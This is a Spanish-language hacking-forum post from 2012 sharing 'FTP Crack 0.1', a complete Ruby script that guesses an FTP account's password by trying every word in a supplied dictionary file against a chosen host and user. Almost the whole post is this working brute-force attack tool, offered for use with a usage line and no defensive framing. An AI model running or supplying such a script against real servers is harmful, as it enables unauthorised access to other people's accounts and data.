elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Ruby] FTP Crack 0.1
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Ruby] FTP Crack 0.1  (Leído 1,489 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Ruby] FTP Crack 0.1
« en: 10 Febrero 2012, 21:04 pm »

Un simple codigo en ruby para crackear un server FTP mediante un diccionario.

Código
  1. #!usr/bin/ruby
  2. #FTP Crack 0.1
  3. #Coded By Doddy H
  4.  
  5. require "net/ftp"
  6.  
  7. def openwords(file)
  8.  if File.file?(file)
  9.    print "\n[+] Opening file\n\n"
  10.    ar = File.open(file)
  11.    lineas = ar.readlines
  12.    ar.close
  13.    print "[+] Number of words : ",lineas.length,"\n\n"
  14.    return lineas
  15.  else
  16.    print "[-] Error opening file\n"
  17.  end
  18. end
  19.  
  20. def sintax()
  21.  print "\n[+] ruby ftpcrack.rb <host> <user> <wordlist>\n"
  22. end
  23.  
  24. def head()
  25.  print "\n-- == FTP Crack 0.1 == --\n\n"
  26. end
  27.  
  28. def copyright()
  29.  print "\n\n(C) Doddy Hackman 2012\n"
  30.  exit(1)
  31. end
  32.  
  33. host = ARGV[0]
  34. user = ARGV[1]
  35. wordlist = ARGV[2]
  36.  
  37. head()
  38.  
  39. if !host and !user and !wordlist
  40.  sintax()
  41. else
  42.  words = openwords(wordlist)
  43.  print "\n[+] Cracking ...\n\n"
  44.  words.each do |word|
  45.    word = word.chomp
  46.    begin
  47.    ftp =Net::FTP.new(host,user,word)
  48.    rescue Net::FTPPermError
  49.    else
  50.      print "\a\a\n[+] Password Cracked : ",word,"\n"
  51.      copyright()
  52.    end
  53.  end
  54.  print "\n[-] Pass not found\n"
  55. end
  56.  
  57. copyright()
  58.  
  59. # The End ?
  60.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ruby vs perl ??
Scripting
vacio 3 4,255 Último mensaje 26 Julio 2006, 17:32 pm
por vacio
[Ruby] Abriendo una web
Scripting
Erik# 0 2,008 Último mensaje 2 Marzo 2009, 14:08 pm
por Erik#
Ruby
Programación General
¡Micronet! 2 3,148 Último mensaje 18 Octubre 2010, 22:49 pm
por ¡Micronet!
[Introducing Ruby] Lo que debes saber sobre Ruby
Scripting
RyogiShiki 0 9,674 Último mensaje 4 Marzo 2011, 20:45 pm
por RyogiShiki
[Ruby] IRC Bot
Scripting
BigBear 0 2,307 Último mensaje 7 Octubre 2011, 01:30 am
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines